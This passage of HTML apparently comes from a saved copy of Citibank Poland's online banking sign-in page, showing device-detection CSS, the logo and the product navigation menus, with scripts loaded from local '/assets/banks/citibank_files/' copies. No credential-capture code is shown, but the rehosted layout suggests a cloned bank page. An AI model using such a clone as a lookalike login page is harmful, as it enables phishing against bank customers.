and (device-width:966px) and (device-height:604px){.device-type:before{content:'Google Nexus 7'}.device-type:after{content:'tablet'}}@media all and (device-width:960px) and (device-height:600px){.device-type:before{content:'Google Nexus 7 2'}.device-type:after{content:'tablet'}}@media all and (max-device-width:768px){.device-type:after,.device-type:before{content:'mobile'}}@media all and (device-width:320px) and (device-height:480px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Apple iPhone 3GS'}.device-type:after{content:'mobile'}}@media all and (device-width:320px) and (device-height:480px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'apple iphone 4'}.device-type:after{content:'mobile'}}@media all and (device-width:320px) and (device-height:568px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'apple iphone 5'}.device-type:after{content:'mobile'}}@media all and (device-width:375px) and (device-height:667px){.device-type:before{content:'apple iphone 6'}.device-type:after{content:'mobile'}}@media all and (device-width:414px) and (device-height:736px) and (-webkit-device-pixel-ratio:3){.device-type:before{content:'apple iphone 6+'}.device-type:after{content:'mobile'}}@media all and (device-width:360px) and (device-height:640px) and (-webkit-device-pixel-ratio:1.5){.device-type:before{content:'HTC Sensation, Evo 3D'}.device-type:after{content:'mobile'}}@media all and (device-width:384px) and (device-height:640px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'Blackberry Z10 || Google Nexus 4 || LG Optimuz G'}.device-type:after{content:'mobile'}}@media all and (device-width:360px) and (device-height:640px) and (-webkit-device-pixel-ratio:3){.device-type:before{content:'Google Nexus 5 || Samsung Galaxy Note 3 || Samsung Galaxy S4 || Sony Xperia Z, Z1'}.device-type:after{content:'mobile'}}@media all and (device-width:412px) and (device-height:732px) and (-webkit-device-pixel-ratio:3.5){.device-type:before{content:'Google Nexus 6'}.device-type:after{content:'mobile'}}@media all and (device-width:320px) and (device-height:533px) and (-webkit-device-pixel-ratio:1.5){.device-type:before{content:'HTC Evo, Touch HD, Desire HD || Google Nexus S || Nokia Lumia 520, 7X0, Lumia 8XX, Lumia 900, N800, N810, N900 || LG Optimus 2X, Optimus 3D, Optimus Black || Samsung Galaxy S, S II, W'}.device-type:after{content:'mobile'}}@media all and (device-width:384px) and (device-height:640px) and (-webkit-device-pixel-ratio:1.25){.device-type:before{content:'LG Optimus L70'}.device-type:after{content:'mobile'}}@media all and (device-width:424px) and (device-height:753px) and (-webkit-device-pixel-ratio:1.7){.device-type:before{content:'LG Optimus LTE, Optimus 4X HD'}.device-type:after{content:'mobile'}}@media all and (device-width:213px) and (device-height:320px) and (-webkit-device-pixel-ratio:1.5){.device-type:before{content:'LG Optimus One'}.device-type:after{content:'mobile'}}@media all and (device-width:320px) and (device-height:569px) and (-webkit-device-pixel-ratio:1.5){.device-type:before{content:'Motorola Defy, Droid, Droid X, Milestone'}.device-type:after{content:'mobile'}}@media all and (device-width:540px) and (device-height:960px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Motorola Droid 3, Droid 4, Droid Razr, Attrix 4G, Attrix 2'}.device-type:after{content:'mobile'}}@media all and (device-width:720px) and (device-height:1280px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Motorola Droid Razr HD'}.device-type:after{content:'mobile'}}@media all and (device-width:360px) and (device-height:640px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Nokia C5, C6, C7, N97, N8, X7'}.device-type:after{content:'mobile'}}@media all and (device-width:360px) and (device-height:640px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'Blackberry Z30 + HTC One X, EVO LTE + Google Nexus Note II || Samsung Galaxy Note II || Samsung Galaxy S III || Sony Xperia S, Ion'}.device-type:after{content:'mobile'}}@media all and (device-width:400px) and (device-height:640px) and (-webkit-device-pixel-ratio:2){.device-type:before{content:'Samsung Galaxy Note'}.device-type:after{content:'mobile'}}@media all and (device-width:480px) and (device-height:854px) and (-webkit-device-pixel-ratio:1){.device-type:before{content:'Sony Xperia Sola, U'}.device-type:after{content:'mobile'}}</style><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/common/widgetsfactory/widgetsfactory" src="/assets/banks/citibank_files/widgetsfactory.js.pobrane"></script><style id="dynamic-style">.cbolui-ddl #app-main {
            min-height: 762px;
        }
        .cbolui-ddl .loading {
            margin: 366px 0px;
        }
        .cbolui-ddl .min-app-body-height {
            min-height: 762px;
        }
        .cbolui-ddl.ie .min-app-body-height .min-body-height {
            min-height: 762px;
        }
        .cbolui-ddl .full-height-1-spacers,
        .cbolui-ddl .full-height-1-spacers .full-height {
            min-height: 722px;
        }
        .cbolui-ddl.ie .full-height-1-spacers .min-body-height ,
        .cbolui-ddl.ie .full-height-1-spacers .full-height .min-body-height  {
            min-height: 722px;
        }
        .cbolui-ddl .full-height-2-spacers,
        .cbolui-ddl .full-height-overlay-layout,
        .cbolui-ddl .full-height-2-spacers .full-height,
        .cbolui-ddl .full-height-overlay-layout .full-height {
            min-height: 682px;
        }
        .cbolui-ddl.ie .full-height-2-spacers .min-body-height ,
        .cbolui-ddl.ie .full-height-overlay-layout .min-body-height ,
        .cbolui-ddl.ie .full-height-2-spacers .full-height .min-body-height ,
        .cbolui-ddl.ie .full-height-overlay-layout .full-height .min-body-height  {
            min-height: 682px;
        }
        .cbolui-ddl.ie .full-height.flex-column > .centerBlock {
            display: block;
        }
        @media (max-width: 767px) {
            .cbolui-ddl .full-height-overlay-layout,
            .cbolui-ddl .full-height-overlay-layout .full-height {
                min-height: 762px;
            }
        }
    </style><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="sitecatalyst" src="/assets/banks/citibank_files/sc-poland-app-measuremen-code.js.pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/auth/signin/module/module" src="/assets/banks/citibank_files/module.js(1).pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/auth/signin/subapp/subapp" src="/assets/banks/citibank_files/subapp.js.pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/auth/signout/subapp/subapp" src="/assets/banks/citibank_files/subapp.js(1).pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/auth/signout/module/module" src="/assets/banks/citibank_files/module.js(2).pobrane"></script><script id="tmx_tags_js" type="text/javascript" src="/assets/banks/citibank_files/nt8ou8veqngrafy5.js.pobrane"></script></head>
<body class="theme-light citi-blue" cz-shortcut-listen="true">
<div id="C3Container"><div><header id="app-header"><div><div class="header" data-module="portal" data-app="layout">
                    <section id="rg-branding"><div>
                            <div class="navbar navbar-toplinks">
                                <div class="container-fluid">
                                    <nav class="">
                                        <ul class="nav navbar-nav navbar-segments pull-left">
                                            <li data-segment="citi-blue" class="hidden-citi-blue">
                                                <a href="https://www.citibankonline.pl/index.html" class="content-a" data-content-id="segments.0" title="Home">
                                                    Home
                                                </a>
                                            </li>
                                            <li data-segment="citi-konto citi-blue" class="hidden-citi-konto citi-blue">
                                                <a href="https://www.citibankonline.pl/konta/konta-osobiste.html" class="content-a" data-content-id="segments.1" title="CitiKonto">
                                                    CitiKonto
                                                </a>
                                            </li>
                                            <li data-segment="citi-priority" class="hidden-citi-priority">
                                                <a href="https://www.citibankonline.pl/konta/citi-priority.html" class="content-a" data-content-id="segments.2" title="Citi Priority">
                                                    Citi Priority
                                                </a>
                                            </li>
                                            <li data-segment="citi-gold" class="hidden-citi-gold">
                                                <a href="https://www.citibankonline.pl/konta/citigold.html" class="content-a" data-content-id="segments.3" title="Citigold">
                                                    Citigold
                                                </a>
                                            </li>
                                            <li data-segment="citi-gold-priority" class="hidden-citi-gold-priority">
                                                <a href="https://www.citibankonline.pl/konta/citigold-private-client.html" class="content-a" data-content-id="segments.4" title="Citigold Private Client">
                                                    Citigold Private Client
                                                </a>
                                            </li>
                                            <li data-segment="citi-business" class="hidden-citi-business">
                                                <a href="https://www.citibankonline.pl/konta/firmy.html" class="content-a" data-content-id="segments.5" title="Mikroprzedsiębiorstwa">
                                                    Mikroprzedsiębiorstwa
                                                </a>
                                            </li>
                                            <li data-segment="citi-corporate" class="hidden-citi-corporate">
                                                <a href="http://www.citibank.pl/poland/corporate/polish/index.htm" class="content-a" data-content-id="segments.6" title="Przedsiębiorstwa i korporacje">
                                                    Przedsiębiorstwa i korporacje
                                                </a>
                                            </li>
                                            <li data-segment="citi-dmbh" class="hidden-citi-dmbh">
                                                <a href="http://www.dmbh.pl/" class="content-a" data-content-id="segments.7" title="Dom Maklerski">
                                                    Dom Maklerski
                                                </a>
                                            </li>
                                        </ul>

                                        <ul class="nav navbar-nav navbar-locales pull-right">
                                            <li id="citispecial" class="show">
                                                <a class="content-a" href="https://www.online.citibank.pl/citispecials/index.html" data-content-id="helpers.citiSmile" target="_blank">Citi Specials</a>
                                            </li>
                                            <li data-locale="en">
                                                <a href="javascript:void(0);" class="content-a" data-content-id="helpers.locales.0" title="English">
                                                    English
                                                </a>
                                            </li>
                                            <li data-locale="pl" class="hide">
                                                <a href="javascript:void(0);" class="content-a" data-content-id="helpers.locales.1" title="Polski">
                                                    Polski
                                                </a>
                                            </li>
                                        </ul>
                                    </nav>
                                </div>
                            </div>

                            <nav class="navbar navbar-branding">
                                <div class="container-fluid">
                                    <div class="pull-left">
                                        <svg id="logo-bg" height="31" width="166.55" class="citi-logo show" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 70"><defs><style>.svg-logo-text-color{fill:white;}</style></defs><path class="svg-logo-text-color" d="M133.15,58.46v-21c0-7.74-2.74-11.24-8.5-11.24-5,0-8.91,3.36-8.91,11.24v21H110.6V11.38l5.14-2.88V26.87a11.63,11.63,0,0,1,9.94-5.14c7.61,0,12.61,4.46,12.61,14.8V58.46Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M159.87,21.73a25.69,25.69,0,0,0-12.06,2.88l1.92,4.18a18.78,18.78,0,0,1,9.8-2.74c5.28,0,7.81,2.6,7.81,7.95v4.25a19.3,19.3,0,0,0-9-2.06c-7.13,0-13.78,3.43-13.78,11.51,0,8.7,5.89,11.51,11.51,11.51a14.84,14.84,0,0,0,11.24-5.14v4.39h5.14V33.38C172.48,25,167.62,21.73,159.87,21.73Zm7.47,27.89A12.6,12.6,0,0,1,157,55c-4.39,0-7.33-2.33-7.33-7.68,0-4.52,3.15-7.06,8.43-7.06,4.39,0,6.92.75,9.25,2.05Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M203.8,58.46v-21c0-7.74-2.74-11.24-8.5-11.24-5,0-8.91,3.36-8.91,11.24v21h-5.14v-36h5.14v4.39a11.63,11.63,0,0,1,9.94-5.14c7.61,0,12.61,4.46,12.61,14.8V58.46Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M239.16,58.46V54.08c-2.54,2.74-6,5.14-10.83,5.14-7.2,0-12.88-5.48-12.88-18.16s6-19.33,13.57-19.33a12.79,12.79,0,0,1,10.14,4.8V11.38L244.3,8.5v50Zm0-26.86a11.76,11.76,0,0,0-9.73-5.41c-6,0-8.91,5.14-8.91,14.8,0,9,3.43,13.78,9.11,13.78,3.84,0,7-2.06,9.53-5.21Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M254.31,58.46V11.38l5.14-2.88v50Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M283,21.73c-8.77,0-15.76,6.58-15.76,18.78s6.72,18.71,15.49,18.71,15.76-6.78,15.76-19S291.73,21.73,283,21.73Zm-.14,33c-6.24,0-10.42-4.93-10.42-14.39s4.18-14.19,10.42-14.19,10.49,4.73,10.49,14.19S289.05,54.76,282.82,54.76Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M335.38,58.46h-4.73l-6.51-24.12c-.34-1.23-.89-3.77-1.1-5.07-.21,1.3-.75,3.84-1.1,5.07l-6.51,24.12h-4.59l-9.53-36h5.28l5.62,23.78c.27,1.23.75,3.77,1,5.07.27-1.3.82-3.84,1.16-5.07l6.44-23.78h4.66L332,46.26c.34,1.23.89,3.77,1.17,5.07.27-1.3.75-3.84,1-5.07l5.62-23.78h5.14Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M361.83,71.14h-5.14l4.93-13.09L348.81,22.48h5.41L363,48.59l1.23,3.7,1.23-3.63,8.84-26.18h5.41Z" transform="translate(-2.13 -0.86)"></path><path fill="red" d="M92.54,16.6a35.85,35.85,0,0,0-59.35,0h8.49a29,29,0,0,1,42.37,0Z" transform="translate(-2.13 -0.86)"></path><path class="svg-logo-text-color" d="M29.69,47.86l-.16.16a12.23,12.23,0,0,1-8.73,4.07c-6.5,0-11.21-4.87-11.21-11.6s4.72-11.6,11.21-11.6A12.23,12.23,0,0,1,29.53,33l.16.17,4.19-5.06L33.77,28A15.94,15.94,0,0,0,21,21.85,19.42,19.42,0,0,0,7.75,26.69c-3.68,3.4-5.61,8.16-5.61,13.81S4.07,50.91,7.75,54.3A19.37,19.37,0,0,0,21,59.15,16,16,0,0,0,33.77,53l.11-.14Z" transform="translate(-2.13 -0.86)"></path><rect class="svg-logo-text-color" x="35.96" y="21.6" width="7.38" height="36"></rect><path class="svg-logo-text-color" d="M74.41,50.63a10.82,10.82,0,0,1-5.46,1.81c-2.39,0-3.45-1.26-3.45-4.07V29.24H73V22.46h-7.5V11.25l-7.25,3.87v7.34H52v6.78h6.24V49.58c0,5.54,3.29,9.33,8.19,9.43A11.57,11.57,0,0,0,73,57.36l.08-.05,1.78-6.94Z" transform="translate(-2.13 -0.86)"></path><rect class="svg-logo-text-color" x="78.38" y="21.6" width="7.38" height="36"></rect><path class="svg-logo-text-color" d="M213.49,33.06a6.5,6.5,0,1,1-6.5-6.5A6.37,6.37,0,0,1,213.49,33.06Zm1.24,0A7.74,7.74,0,1,0,207,40.81,7.59,7.59,0,0,0,214.74,33.06Zm-4.2-1.82a2.48,2.48,0,0,0-2.77-2.55h-3.71v8.45h1.44V33.88h1.63l1.65,3.26h1.7l-1.74-3.41A2.41,2.41,0,0,0,210.54,31.24Zm-1.46,0c0,.83-.58,1.2-1.35,1.2h-2.23v-2.4h2.23A1.19,1.19,0,0,1,209.08,31.28Z" transform="translate(180 -22)"></path></svg>
                                    </div>



                                    <ul class="loginout-wrapper">
                                        <li class="menu-login">
                                            <a href="javascript:void(0);" class="content" data-content-id="helpers.loginMenu.label">
                                                Zaloguj
                                            </a>
                                        </li>
                                    </ul>
                                </div>
                            </nav></div></section>
                    <section id="rg-menus" class="menu-sticky-wrapper bg-secondary-postLogin bg-secondary-authenticated position-relative"><div><div class="menu-sticky">
                                <nav class="navbar-menus bg-secondary-postLogin bg-secondary-authenticated position-relative">
                                    <div id="main-menu-items" class="container-fluid position-static">

                                        <div id="menus-wrapper" class="navbar-menus menu-push-right position-static">
                                            <ul class="nav navbar-nav main-menu-body no-margin">
                                                <li class="menu-header visible-xs bg-colored clearfix">
                                                    <a href="javascript:void(0);" class="segment-text pull-left content-a" title="Home" data-content-id="_selectedSegment">

                                                        Home
                                                    </a>

                                                    <a href="javascript:void(0);" class="menu-close pull-right">
                                                        <i id="" class="cbol-icon cbol-adjust-icon cbol-icon-close pull-right"></i>
                                                    </a>
                                                    <div class="divider pull-right"></div>
                                                </li>

                                                <li data-menu-id="creditcards" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored                                                   menu-item-first">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/karty-kredytowe.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0" title="Karty Kredytowe">

                                                        <span class="content-label">Karty Kredytowe</span>
                                                        <i class="expand-button visible-xs"><span></span></i>
                                                    </a>

                                                    <div class="navbar-sub-menus">
                                                        <div class="dropdown-menu sub-menu-wrapper bg-secondary-postLogin">
                                                            <div class="container-fluid keepLayout">
                                                                <ul class="sub-menu-body nav nav-pills">
                                                                    <li data-menu-id="overview" class="sub-menu-item
                                             sub-menu-overview

                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.0">

                                                                            Przegląd
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="citisimplicity" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/citi-simplicity.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.1">

                                                                            Citi Simplicity
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="bpmotokarta" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/formularz/karta-kredytowa/bp/?headtext=720" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.2">

                                                                            Citibank - BP Motokarta
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="premiermiles" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/premier-miles.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.3">

                                                                            PremierMiles
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="mastercardworld" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/mastercard-world.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.4">

                                                                            MasterCard World
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="ultime" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/ultime.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.5">

                                                                            Ultime
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="comparecards" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/porownanie-kart.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.6">

                                                                            Porównanie Kart
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="specialoffers" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/karty-kredytowe/oferty-specjalne.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.0.subMenus.7">

                                                                            Oferty Specjalne
                                                                        </a>
                                                                    </li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </li>
                                                <li data-menu-id="citikontobanking" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/konta/konta-osobiste.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.1" title="Konta">

                                                        <span class="content-label">Konta</span>
                                                    </a>

                                                </li>
                                                <li data-menu-id="loans" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/pozyczki-i-kredyty.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2" title="Kredyty">

                                                        <span class="content-label">Kredyty</span>
                                                        <i class="expand-button visible-xs"><span></span></i>
                                                    </a>

                                                    <div class="navbar-sub-menus">
                                                        <div class="dropdown-menu sub-menu-wrapper bg-secondary-postLogin">
                                                            <div class="container-fluid keepLayout">
                                                                <ul class="sub-menu-body nav nav-pills">
                                                                    <li data-menu-id="overview" class="sub-menu-item
                                             sub-menu-overview

                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.0">

                                                                            Przegląd
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="cashloan" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/pozyczka-gotowkowa.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.1">

                                                                            Pożyczka Gotówkowa
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="quickcash" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/pozyczka-z-karty.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.2">

                                                                            Pożyczka z Karty
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="cashovercardslimit" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/pozyczka-do-karty.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.3">

                                                                            Pożyczka do Karty
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="consolidationloan" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/pozyczka-konsolidacyjna.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.4">

                                                                            Pożyczka Konsolidacyjna
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="mortgageloan" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/produkty-hipoteczne.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.5">

                                                                            Produkty Hipoteczne
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="paylite" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/raty-w-karcie.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.6">

                                                                            Raty w Karcie
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="overdraft" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/pozyczki-i-kredyty/linia-kredytowa.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.2.subMenus.7">

                                                                            Linia Kredytowa
                                                                        </a>
                                                                    </li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </li>
                                                <li data-menu-id="wealthmanagement" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/inwestowanie.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.3" title="Inwestowanie">

                                                        <span class="content-label">Inwestowanie</span>
                                                        <i class="expand-button visible-xs"><span></span></i>
                                                    </a>

                                                    <div class="navbar-sub-menus">
                                                        <div class="dropdown-menu sub-menu-wrapper bg-secondary-postLogin">
                                                            <div class="container-fluid keepLayout">
                                                                <ul class="sub-menu-body nav nav-pills">
                                                                    <li data-menu-id="overview" class="sub-menu-item
                                             sub-menu-overview

                                        ">
                                                                        <a href="https://www.citibankonline.pl/inwestowanie.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.3.subMenus.0">

                                                                            Przegląd
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="brokerageservices" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/inwestowanie/uslugi-maklerskie.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.3.subMenus.1">

                                                                            Usługi Maklerskie
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="investmentproducts" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/inwestowanie/produkty-inwestycyjne.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.3.subMenus.2">

                                                                            Produkty Inwestycyjne
                                                                        </a>
                                                                    </li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </li>
                                                <li data-menu-id="kantor" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/konta/citi-kantor.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.4" title="Kantor">

                                                        <span class="content-label">Kantor</span>
                                                    </a>

                                                </li>
                                                <li data-menu-id="insurance" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/ubezpieczenia.html" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5" title="Ubezpieczenia">

                                                        <span class="content-label">Ubezpieczenia</span>
                                                        <i class="expand-button visible-xs"><span></span></i>
                                                    </a>

                                                    <div class="navbar-sub-menus">
                                                        <div class="dropdown-menu sub-menu-wrapper bg-secondary-postLogin">
                                                            <div class="container-fluid keepLayout">
                                                                <ul class="sub-menu-body nav nav-pills">
                                                                    <li data-menu-id="overview" class="sub-menu-item
                                             sub-menu-overview

                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.0">

                                                                            Przeglad
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="savingsandinvestmentinsurance" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia/inwestycyjne-i-oszczednosciowe.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.1">

                                                                            Ubezpieczenia Inwestycyjne i&nbsp;Oszczędnościowe
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="lifeinsurancepolicies" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia/ochronne.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.2">

                                                                            Ubezpieczenia ochronne
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="travelinsurance" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia/ochronne/ubezpieczenie-podrozne.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.3">

                                                                            Ubezpieczenie podróżne
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="insuranceforloans" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia/ochronne/bezpieczne-raty.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.4">

                                                                            Ubezpieczenie do pożyczki gotówkowej
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="creditshield" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/ubezpieczenia/ochronne/credit-shield.html" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.5">

                                                                            Ubezpieczenie do karty kredytowej
                                                                        </a>
                                                                    </li>
                                                                    <li data-menu-id="protectionneedcalculator" class="sub-menu-item


                                        ">
                                                                        <a href="https://www.citibankonline.pl/polish/insurance/kalkulator/driving-Protection.htm" data-warnlock="true" class="content-a highlight-colored" data-content-id="_selectedMainMenus.5.subMenus.6">

                                                                            Kalkulator potrzeb ubezpieczeniowych
                                                                        </a>
                                                                    </li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </li>
                                                <li data-menu-id="citispecials" class="menu-item main-menu-item highlight-bordered bg-secondary-postLogin colored">
                                                    <a href="javascript:void(0);" data-warnlock="true" data-url="/citispecials/" class="content-a highlight-colored" data-content-id="_selectedMainMenus.6" title="Citi Specials">

                                                        <span class="content-label">Citi Specials</span>
                                                    </a>

                                                </li>


                                                <li data-segment="citi-blue" class="menu-item segment-menu visible-xs hidden-citi-blue">
                                                    <a href="https://www.citibankonline.pl/index.html" data-warnlock="true" class="content-a" data-content-id="segments.0" title="Home">
                                                        Home
                                                    </a>
                                                </li>
                                                <li data-segment="citi-konto citi-blue" class="menu-item segment-menu visible-xs hidden-citi-konto citi-blue">
                                                    <a href="https://www.citibankonline.pl/konta/konta-osobiste.html" data-warnlock="true" class="content-a" data-content-id="segments.1" title="CitiKonto">
                                                        CitiKonto
                                                    </a>
                                                </li>
                                                <li data-segment="citi-priority" class="menu-item segment-menu visible-xs hidden-citi-priority">
                                                    <a href="https://www.citibankonline.pl/konta/citi-priority.html" data-warnlock="true" class="content-a" data-content-id="segments.2" title="Citi Priority">
                                                        Citi Priority
                                                    </a>
                                                </li>
                                                <li data-segment="citi-gold" class="menu-item segment-menu visible-xs hidden-citi-gold">
                                                    <a href="https://www.citibankonline.pl/konta/citigold.html" data-warnlock="true" class="content-a" data-content-id="segments.3" title="Citigold">
                                                        Citigold
                                                    </a>
                                                </li>
                                                <li data-segment="citi-gold-priority" class="menu-item segment-menu visible-xs hidden-citi-gold-priority">
                                                    <a href="https://www.citibankonline.pl/konta/citigold-private-client.html" data-warnlock="true" class="content-a" data-content-id="segments.4" title="Citigold Private Client">
                                                        Citigold Private Client
                                                    </a>
                                                </li>
                                                <li data-segment="citi-business" class="menu-item segment-menu visible-xs hidden-citi-business">
                                                    <a href="https://www.citibankonline.pl/konta/firmy.html" data-warnlock="true" class="content-a" data-content-id="segments.5" title="Mikroprzedsiębiorstwa">
                                                        Mikroprzedsiębiorstwa
                                                    </a>
                                                </li>
                                                <li data-segment="citi-corporate" class="menu-item segment-menu visible-xs hidden-citi-corporate">
                                                    <a href="http://www.citibank.pl/poland/corporate/polish/index.htm" data-warnlock="true" class="content-a" data-content-id="segments.6" title="Przedsiębiorstwa i korporacje">
                                                        Przedsiębiorstwa i korporacje
                                                    </a>
                                                </li>
                                                <li data-segment="citi-dmbh" class="menu-item segment-menu visible-xs hidden-citi-dmbh">
                                                    <a href="http://www.dmbh.pl/" data-warnlock="true" class="content-a" data-content-id="segments.7" title="Dom Maklerski">
                                                        Dom Maklerski
                                                    </a>
                                                </li>


                                                <li class="menu-item helper-menu visible-xs">
